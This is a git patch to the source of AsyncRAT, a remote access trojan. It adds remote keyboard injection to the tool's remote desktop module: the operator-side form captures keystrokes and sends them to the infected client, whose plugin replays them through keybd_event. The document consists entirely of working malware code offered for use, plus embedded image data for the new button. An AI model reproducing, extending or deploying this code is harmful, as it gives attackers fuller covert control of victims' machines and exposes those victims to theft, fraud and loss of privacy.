From bc19607aa5065c2399397ec32c3f2da3dc70b1c8 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sun, 1 Dec 2019 06:37:41 +0300 Subject: [PATCH] added keyboard keys --- .../RemoteDesktop/RemoteDesktop/Packet.cs | 11 +++ .../Forms/FormRemoteDesktop.Designer.cs | 18 +++- AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs | 78 ++++++++++++++++-- .../Server/Forms/FormRemoteDesktop.resx | 3 - .../Handle Packet/HandleRemoteDesktop.cs | 21 +++-- AsyncRAT-C#/Server/Resources/keyboard-on.png | Bin 0 -> 1378 bytes AsyncRAT-C#/Server/Resources/keyboard.png | Bin 0 -> 808 bytes AsyncRAT-C#/Server/Server.csproj | 2 + 8 files changed, 112 insertions(+), 21 deletions(-) create mode 100644 AsyncRAT-C#/Server/Resources/keyboard-on.png create mode 100644 AsyncRAT-C#/Server/Resources/keyboard.png diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs index a0e9d62..02f1a11 100644 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs @@ -56,6 +56,14 @@ namespace Plugin IsOk = false; break; } + + case "keyboardClick": + { + bool keyDown = Convert.ToBoolean(unpack_msgpack.ForcePathObject("keyIsDown").AsString); + byte key = Convert.ToByte(unpack_msgpack.ForcePathObject("key").AsInteger); + keybd_event(key, 0, keyDown ? (uint)0x0000 : (uint)0x0002, UIntPtr.Zero); + break; + } } break; } @@ -131,5 +139,8 @@ namespace Plugin [DllImport("user32.dll")] static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo); + + [DllImport("user32.dll")] + internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo); } } diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs index 5fc28e8..e197b90 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs @@ -33,6 +33,7 @@ this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.timer1 = new System.Windows.Forms.Timer(this.components); this.panel1 = new System.Windows.Forms.Panel(); + this.btnKeyboard = new System.Windows.Forms.Button(); this.btnMouse = new System.Windows.Forms.Button(); this.btnSave = new System.Windows.Forms.Button(); this.label2 = new System.Windows.Forms.Label(); @@ -59,7 +60,6 @@ this.pictureBox1.TabIndex = 0; this.pictureBox1.TabStop = false; this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseDown); - //this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseMove); this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.PictureBox1_MouseUp); // // timer1 @@ -70,6 +70,7 @@ // panel1 // this.panel1.BackColor = System.Drawing.Color.Transparent; + this.panel1.Controls.Add(this.btnKeyboard); this.panel1.Controls.Add(this.btnMouse); this.panel1.Controls.Add(this.btnSave); this.panel1.Controls.Add(this.label2); @@ -83,6 +84,17 @@ this.panel1.Size = new System.Drawing.Size(938, 38); this.panel1.TabIndex = 1; // + // btnKeyboard + // + this.btnKeyboard.BackgroundImage = global::Server.Properties.Resources.keyboard; + this.btnKeyboard.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.btnKeyboard.Location = new System.Drawing.Point(622, 3); + this.btnKeyboard.Name = "btnKeyboard"; + this.btnKeyboard.Size = new System.Drawing.Size(32, 32); + this.btnKeyboard.TabIndex = 6; + this.btnKeyboard.UseVisualStyleBackColor = true; + this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click); + // // btnMouse // this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse; @@ -219,12 +231,15 @@ this.Controls.Add(this.panel1); this.Controls.Add(this.pictureBox1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; this.MinimumSize = new System.Drawing.Size(655, 440); this.Name = "FormRemoteDesktop"; this.Text = "RemoteDesktop"; this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRemoteDesktop_FormClosed); this.Load += new System.EventHandler(this.FormRemoteDesktop_Load); this.ResizeEnd += new System.EventHandler(this.FormRemoteDesktop_ResizeEnd); + this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.FormRemoteDesktop_KeyDown); + this.KeyUp += new System.Windows.Forms.KeyEventHandler(this.FormRemoteDesktop_KeyUp); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.panel1.ResumeLayout(false); this.panel1.PerformLayout(); @@ -250,5 +265,6 @@ private System.Windows.Forms.Timer timerSave; private System.Windows.Forms.Button btnMouse; public System.Windows.Forms.Label labelWait; + private System.Windows.Forms.Button btnKeyboard; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs index 3241269..c55da31 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs @@ -28,14 +28,15 @@ namespace Server.Forms public int FPS = 0; public Stopwatch sw = Stopwatch.StartNew(); - public Stopwatch RenderSW = Stopwatch.StartNew(); public IUnsafeCodec decoder = new UnsafeStreamCodec(60); public Size rdSize; private bool isMouse = false; - - + private bool isKeyboard = false; + public object syncPicbox = new object(); + private readonly List _keysPressed; public FormRemoteDesktop() { + _keysPressed = new List(); InitializeComponent(); } @@ -178,7 +179,7 @@ namespace Server.Forms { try { - if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse) + if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse) { Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height); int button = 0; @@ -203,7 +204,7 @@ namespace Server.Forms { try { - if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isMouse) + if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isMouse) { Point p = new Point(e.X * rdSize.Width / pictureBox1.Width, e.Y * rdSize.Height / pictureBox1.Height); int button = 0; @@ -254,15 +255,80 @@ namespace Server.Forms isMouse = true; btnMouse.BackgroundImage = Properties.Resources.mouse_enable; } + pictureBox1.Focus(); } private void FormRemoteDesktop_FormClosed(object sender, FormClosedEventArgs e) { try { - Client?.Disconnected(); + ThreadPool.QueueUserWorkItem((o) => + { + Client?.Disconnected(); + }); } catch { } } + + private void btnKeyboard_Click(object sender, EventArgs e) + { + if (isKeyboard) + { + isKeyboard = false; + btnKeyboard.BackgroundImage = Properties.Resources.keyboard; + } + else + { + isKeyboard = true; + btnKeyboard.BackgroundImage = Properties.Resources.keyboard_on; + } + pictureBox1.Focus(); + } + + private void FormRemoteDesktop_KeyDown(object sender, KeyEventArgs e) + { + if (button1.Tag == (object)"stop" && pictureBox1.Image != null && pictureBox1.ContainsFocus && isKeyboard) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + if (_keysPressed.Contains(e.KeyCode)) + return; + + _keysPressed.Add(e.KeyCode); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "keyboardClick"; + msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode); + msgpack.ForcePathObject("keyIsDown").SetAsBoolean(true); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + } + + private void FormRemoteDesktop_KeyUp(object sender, KeyEventArgs e) + { + if (button1.Tag == (object)"stop" && pictureBox1.Image != null && this.ContainsFocus && isKeyboard) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + _keysPressed.Remove(e.KeyCode); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Option").AsString = "keyboardClick"; + msgpack.ForcePathObject("key").AsInteger = Convert.ToInt32(e.KeyCode); + msgpack.ForcePathObject("keyIsDown").SetAsBoolean(false); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + } + + private bool IsLockKey(Keys key) + { + return ((key & Keys.CapsLock) == Keys.CapsLock) + || ((key & Keys.NumLock) == Keys.NumLock) + || ((key & Keys.Scroll) == Keys.Scroll); + } } } diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx index 53b21e6..e5b63af 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx @@ -123,9 +123,6 @@ 131, 17 - - 273, 17 - diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs index c3ea9cb..9821355 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs @@ -33,19 +33,18 @@ namespace Server.Handle_Packet RD.numericUpDown2.Maximum = Screens - 1; } byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); + lock (RD.syncPicbox) + { + Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); - if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) - { RD.pictureBox1.Image = decoded; - RD.RenderSW = Stopwatch.StartNew(); - } - RD.FPS++; - if (RD.sw.ElapsedMilliseconds >= 1000) - { - RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); - RD.FPS = 0; - RD.sw = Stopwatch.StartNew(); + RD.FPS++; + if (RD.sw.ElapsedMilliseconds >= 1000) + { + RD.Text = "RemoteDesktop:" + client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Methods.BytesToString(RdpStream.Length); + RD.FPS = 0; + RD.sw = Stopwatch.StartNew(); + } } } else diff --git a/AsyncRAT-C#/Server/Resources/keyboard-on.png b/AsyncRAT-C#/Server/Resources/keyboard-on.png new file mode 100644 index 0000000000000000000000000000000000000000..41ba6df796de5b3ec69c10ee2688f833c52fa8bd GIT binary patch literal 1378 zcmV-o1)chdP)@pdG~mf=B^HMWWz> z>7vD?#+GXOW^B?l>QmLEjcICYVz&ohT5C;RN*dQ{TcZhJ6&n~wN|8lI5u8C_*!R2i zftErnAta5YiT|g2a_>3kmvhc{zweU_!(b{UrZoHi9$;JY?%Zw3yK|=u0K>?{FfykO z;6Kn)fTsY8I>Pdle)O1KEH)$sp*;h)dvPeSs}V z*cBj0Xu7c0HzDbh+ZO`cyXm(CkJv%29hlpDCiF9eM2EvJ>$1pE95?| z3w6KOBP%j%-^irs%x`r1y9tjBBW-mOKOHN?&<$c!=8(8-KF*|QOf`)tqf1lp=_#V3 zN@=(kMQB(ECk~z?cT))k$I_7%nH%TM6PsAe@rx-eSQ?MF`YZswogI{4tKj*>QmSq{ zv4n?E@Y#7*zf!`n57SWxRb0QEVP=e%^5PT{m+c+N`Pj0vg!M4Ztd7{z?VX6fzA^=9 z*uwuAvfz+@fdKao{m1e9xt8#P6ql0>F(&o=kcNII`&yJ#sG|I!L7n_QZp`M z4!BE=>mKf+dN$=Bq1N3Q_;Na`Dj{S+TT2kG zk_3bhNJ4PGb`}866oC)|S4jeGEkOubLRBS-FQ*U3l?5$63l*;U2qDG?$lvoOH7*ZA z7OdEqj?HeR^y09ddzmXuYCXsGeBFh?PCLps5s zLA1AYk@k{}1xsTA&^3d($uZ*toIQL7cTqh6HoKLh`%cl-J-|ddaq#@evjj|!vhmIS zlk|0KgxXBxzxNv79T;A+Ny{C)^ZAZ{2k`s+y!$}`#h24*eb`1<_W%b>^%DY&)>i=z znj8IKsC<3#6Sl3}MeD;h(pEfRS#}BEAKf~B1uWqfzTE#Rsw%N)orOTNiG5nkqyPqb z4OY#tqU$o-^L7##A`>>lLg}?xxJzc@OtOpxkYq_yhcp@B?L*t?YU@D~5)qMM#4njg zf6v4%7%f>A*z8tfQ}!^>H;6enfDmgC&V?};xaBY;sl=nzc(-ZXcfNbg=(^7J3uQxr!R8;Ot?|1er-hn!E3)z;(i1wO8R)8} ko*V2MIv_p0oK7{spJjkcGgvks_W%F@07*qoM6N<$f(g`oHUIzs literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/Server/Resources/keyboard.png b/AsyncRAT-C#/Server/Resources/keyboard.png new file mode 100644 index 0000000000000000000000000000000000000000..f5eb5a3197b84900dc3726cd71c0806205f54ef1 GIT binary patch literal 808 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5n0T@z;^_M8K-LVNdpDhOFVsD*&lPuF`JpX{kF7YU|{^_>EamTas2INNAD?tBF8@7 zU!4@>d$z?hF=&s=))g`Z57iDUh(A;+GM&9bVbKED-AnWX<|_yUtx;gtZE={?#S*)P zQz+VFLYRW4s@t^8CuedeYKSdPnB6gN^X}(&{#!n`i}_cXni8g`5yd)T+CSq1tA6qS zkY-Tz=;VH;9T03_{VMs%lGpddbu``bSpTpdla2cPr}Um{ldjz<5AM7Z9y2aK+oPnv z_fm)4?zdB~Kk6}>pE_4ma>`UA*9nJ=BM<9wuA5nUG5f9CmKT?oAMGexA8Yb@)`Llj zk>@7}O^cB*-~7R#@{AO7@UjClBA@g&Nj~0x>&C)M9d)^VyRr{Vu+4ilb@Juc(`?(m z?0&u?jM**ZRm3L2vJO_yjV+d(8R$bToUiu@iS&m;oa?=g#Ry)UnQ|1d3QqFKcn}V`?D9{p0w;qP2nBGX8V5S&)a5h@!a`f zE!S&qhEMlytvl1hU)JR_D=bgx()-qTrgh7Nzqzl9*_z+mkQjcg;&c8b{%H|wyN})Y zt_w^QswJ)wB`Jv|saDBFsX&Us$iUE2*U(Vc*dWBf*vizz%G6lfz`)ADptHDh7K(=4 z{FKbJO57TL=otc2E`ubgcyqV(DCY@~pS7(8A5 KT-G@yGywqft3|p1 literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/Server/Server.csproj b/AsyncRAT-C#/Server/Server.csproj index 5a219f4..8d8b037 100644 --- a/AsyncRAT-C#/Server/Server.csproj +++ b/AsyncRAT-C#/Server/Server.csproj @@ -350,6 +350,8 @@ + +